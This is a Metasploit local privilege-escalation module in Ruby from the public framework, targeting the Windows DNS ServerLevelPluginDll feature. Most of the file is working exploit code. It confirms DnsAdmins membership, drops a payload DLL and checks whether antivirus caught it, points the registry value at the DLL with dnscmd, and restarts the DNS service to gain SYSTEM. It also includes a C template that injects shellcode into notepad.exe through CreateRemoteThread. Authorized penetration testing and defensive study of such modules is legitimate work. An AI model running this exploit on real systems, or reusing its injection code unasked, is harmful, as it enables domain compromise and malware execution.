##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/compiler/windows'

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',
        'Description' => %q{
          This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
          `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
          named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service
          will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended
          when using a UNC path.

          Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,
          the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and
          users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus
          after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the
          `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,
          which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for
          this module for advice on how to resolve this issue should it occur.

          This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
          Server version up to and including Windows Server 2019.
        },
        'References' => [
          ['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],
          ['URL', 'https://adsecurity.org/?p=4064'],
          ['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']
        ],
        'DisclosureDate' => '2017-05-08',
        'License' => MSF_LICENSE,
        'Author' => [
          'Shay Ber', # vulnerability discovery
          'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
        ],
        'Platform' => 'win',
        'Targets' => [[ 'Automatic', {} ]],
        'SessionTypes' => [ 'meterpreter' ],
        'DefaultOptions' => {
          'WfsDelay' => 20,
          'EXITFUNC' => 'thread'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an
          # non-optimal time or if the UNC path is typed in wrong.
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getsid
              stdapi_sys_config_getuid
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),
        OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),
        OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),
        OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])
      ]
    )

    deregister_options('FILE_CONTENTS')
  end

  def check
    version = get_version_info
    if version.windows_server?
      vprint_good('OS seems vulnerable.')
    else
      vprint_error('OS is not vulnerable!')
      return Exploit::CheckCode::Safe
    end

    username = client.sys.config.getuid
    user_sid = client.sys.config.getsid
    hostname = sysinfo['Computer']
    vprint_status("Running check against #{hostname} as user #{username}...")

    srv_info = service_info('DNS')
    if srv_info.nil?
      vprint_error('Unable to enumerate the DNS service!')
      return Exploit::CheckCode::Unknown
    end

    if srv_info && srv_info[:display].empty?
      vprint_error('The DNS service does not exist on this host!')
      return Exploit::CheckCode::Safe
    end

    # for use during permission check
    if srv_info[:dacl].nil?
      vprint_error('Unable to determine permissions on the DNS service!')
      return Exploit::CheckCode::Unknown
    end
    dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)

    vprint_good("DNS service found on #{hostname}.")

    # user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
    group_membership = get_whoami
    unless group_membership
      vprint_error('Unable to enumerate group membership!')
      return Exploit::CheckCode::Unknown
    end

    unless group_membership.include? 'DnsAdmins'
      vprint_error("User #{username} is not part of the DnsAdmins group!")
      return Exploit::CheckCode::Safe
    end

    # find the DnsAdmins group SID
    dnsadmin_sid = ''
    group_membership.each_line do |line|
      unless line.include? 'DnsAdmins'
        next
      end

      vprint_good("User #{username} is part of the DnsAdmins group.")
      line.split.each do |item|
        unless item.include? 'S-'
          next
        end

        vprint_status("DnsAdmins SID is #{item}")
        dnsadmin_sid = item
        break
      end
      break
    end

    # check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service
    if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }
      dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]
      if dnsadmin_dacl.include? 'RPWP'
        vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')
      end
    elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }
      user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
      if user_dacl.include? 'RPWP'
        vprint_good("User #{username} can start/stop the DNS service.")
      end
    else
      vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Vulnerable
  end

  def exploit
    # get system architecture
    arch = sysinfo['Architecture']
    if arch != payload_instance.arch.first
      fail_with(Failure::BadConfig, 'Wrong payload architecture!')
    end

    # no exploit, just create the DLL
    if datastore['MAKEDLL'] == true
      # copypasta from lib/msf/core/exploit/fileformat.rb
      # writes the generated DLL to ~/.msf4/local/
      dllname = datastore['DLLNAME']
      full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)
      print_good("#{dllname} stored at #{full_path}")
      return
    end

    # will exploit
    if is_system?
      fail_with(Failure::BadConfig, 'Session is already elevated!')
    end

    unless [CheckCode::Vulnerable].include? check
      fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
    end

    # if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
    print_status('Checking service state...')
    svc_state = service_status('DNS')
    unless svc_state[:state] == 4
      print_status('DNS service is stopped, starting it...')
      service_start('DNS')
    end

    # the service must be started before proceeding
    total_wait_time = 0
    loop do
      svc_state = service_status('DNS')
      if svc_state[:state] == 4
        sleep 1
        break
      else
        sleep 2
        total_wait_time += 2
        fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
      end
    end

    # the if block assumes several things:
    # 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet
    # 2. operator has generated their own DLL with the correct payload and architecture
    # 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or
    #    the target falls back to SMB1
    dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
    if datastore['DLLPATH'].start_with?('\\\\')

      # Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
      build_num_raw = session.shell_command_token('cmd.exe /c ver')
      build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
      if build_num.nil?
        print_error("Couldn't retrieve the target's build number!")
        return
      else
        build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
        vprint_status("Target's build number: #{build_num}")
      end

      build_num_gemversion = Rex::Version.new(build_num)

      # If the target is running Windows 10 or Windows Server versions with a
      # build number of 16299 or later, aka v1709 or later, then we need to check
      # if "Enable insecure guest logons" is enabled on the target system as per
      # https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
      if (build_num_gemversion >= Rex::Version.new('10.0.16299.0'))
        # check if "Enable insecure guest logons" is enabled on the target system
        allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
        unless allow_insecure_guest_auth == 1
          fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
        end
      end
      print_status('Using user-provided UNC path.')
    else
      write_file(dllpath, make_serverlevelplugindll(arch))
      print_good("Wrote DLL to #{dllpath}!")
      print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
      sleep(datastore['AVTIMEOUT'])
      unless file_exist?(dllpath.to_s)
        print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
        return
      end
      print_good("Looks like our file wasn't caught by the AV.")
    end

    print_warning('Entering danger section...')

    print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
    dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
    unless dnscmd_result.include? 'success'
      fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])
    end

    print_good(dnscmd_result.split("\n")[0])

    # restart the DNS service
    print_status('Restarting the DNS service...')
    restart_service
  end

  def on_new_session(session)
    if datastore['DLLPATH'].start_with?('\\\\')
      return
    else
      if session.type == ('meterpreter') && !session.ext.aliases.include?('stdapi')
        session.core.use('stdapi')
      end

      vprint_status('Erasing ServerLevelPluginDll registry value...')
      cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")
      print_good('Exited danger zone successfully!')

      dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
      restart_service('session' => session, 'dllpath' => dllpath)
    end
  end

  def restart_service(opts = {})
    # for deleting the DLL
    if opts['session'] && opts['dllpath']
      session = opts['session']
      dllpath = opts['dllpath']
    end

    service_stop('DNS')
    # see if the service has really been stopped
    total_wait_time = 0
    loop do
      svc_state = service_status('DNS')
      if svc_state[:state] == 1
        sleep 1
        break
      else
        sleep 2
        total_wait_time += 2
        fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
      end
    end

    # clean up the dropped DLL
    if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')
      vprint_status("Removing #{dllpath}...")
      session.fs.file.rm dllpath
    end

    service_start('DNS')
    # see if the service has really been started
    total_wait_time = 0
    loop do
      svc_state = service_status('DNS')
      if svc_state[:state] == 4
        sleep 1
        break
      else
        sleep 2
        total_wait_time += 2
        fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
      end
    end
  end

  def make_serverlevelplugindll(arch)
    # generate the payload
    payload = generate_payload
    # the C template for the ServerLevelPluginDll DLL
    c_template = %|
        #include <Windows.h>
        #include <stdlib.h>
        #include <String.h>

        BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
            switch (dwReason) {
                case DLL_PROCESS_ATTACH:
                case DLL_THREAD_ATTACH:
                case DLL_THREAD_DETACH:
                case DLL_PROCESS_DETACH:
                    break;
            }

            return TRUE;
        }

        int DnsPluginCleanup __attribute__((export))(void) { return 0; }
        int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
        int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {
            STARTUPINFO startup_info;
            PROCESS_INFORMATION process_info;
            char throwaway_buffer[8];

            ZeroMemory(&startup_info, sizeof(startup_info));
            startup_info.cb = sizeof(STARTUPINFO);
            startup_info.dwFlags = STARTF_USESHOWWINDOW;
            startup_info.wShowWindow = 0;

            if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {
                HANDLE processHandle;
                HANDLE remoteThread;
                PVOID remoteBuffer;

                unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";

                processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);
                remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);
                WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
                remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

                CloseHandle(process_info.hThread);
                CloseHandle(processHandle);
            }

            return 0;
        }
    |

    c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)

    cpu = nil
    case arch
    when 'x86'
      cpu = Metasm::Ia32.new
    when 'x64'
      cpu = Metasm::X86_64.new
    else
      fail_with(Failure::NoTarget, 'Target arch is not compatible')
    end

    print_status('Building DLL...')
    Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
  end
end
